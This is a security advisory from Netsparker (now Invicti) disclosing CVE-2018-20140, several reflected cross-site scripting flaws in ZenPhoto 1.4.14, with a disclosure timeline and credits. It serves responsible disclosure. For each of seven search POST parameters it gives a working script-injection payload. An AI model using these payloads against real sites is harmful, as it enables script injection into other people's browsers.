Information
--------------------
Advisory by Netsparker (now Invicti)
Name: Multiple Cross-Site Scripting Vulnerabilities in ZenPhoto 1.4.14
Affected Software: ZenPhoto
Affected Versions: 1.4.14
Homepage: http://www.zenphoto.org/
Vulnerability: Cross-Site Scripting
Severity: Medium
Status: Fixed
CVE-ID: CVE-2018-20140
CVSS Score (3.0):  CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
Invicti Advisory Reference: NS-18-043

Technical Details
--------------------

URL : http://{DOMAIN}/{PATH-OF-ZENPHOTO}/
Parameter Name: SEARCH_state
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x1)</scRipt>

URL : http://{DOMAIN}/{PATH-OF-ZENPHOTO}/
Parameter Name: SEARCH_country
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x2)</scRipt>

URL : http://{DOMAIN}/{PATH-OF-ZENPHOTO}/
Parameter Name: SEARCH_city
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x3)</scRipt>

URL : http://{DOMAIN}/{PATH-OF-ZENPHOTO}/
Parameter Name: SEARCH_title
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x4)</scRipt>

URL : http://{DOMAIN}/{PATH-OF-ZENPHOTO}/;
Parameter Name: SEARCH_desc
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x5)</scRipt>

URL : http://{DOMAIN}/{PATH-OF-ZENPHOTO}/
Parameter Name: SEARCH_location
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x6)</scRipt>

URL : http://{DOMAIN}/{PATH-OF-ZENPHOTO}/
Parameter Name: SEARCH_tags
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x7)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
--------------------

28th June 2018- First Contact
13th December 2018 - Vendor Fixed
8th January 2019 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Zekvan Arslan while testing Invicti Web Application Security Scanner.

About Invicti
--------------------

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.